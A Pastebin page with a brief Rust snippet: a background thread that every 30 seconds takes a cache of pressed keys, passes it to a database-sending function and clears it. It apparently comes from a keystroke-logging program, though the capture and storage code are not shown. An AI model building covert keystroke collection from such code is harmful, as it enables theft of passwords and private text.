Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use std::{thread, time};
- use crate::ram::PubInfo;
- pub fn clear_ram_thread() {
- loop {
- thread::sleep(time::Duration::from_secs(30));
- let mut data = PubInfo::get();
- if !data.key_pressed_cache.is_empty()
- {
- crate::db::send_db(&data.key_pressed_cache);
- data.key_pressed_cache = vec![];
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement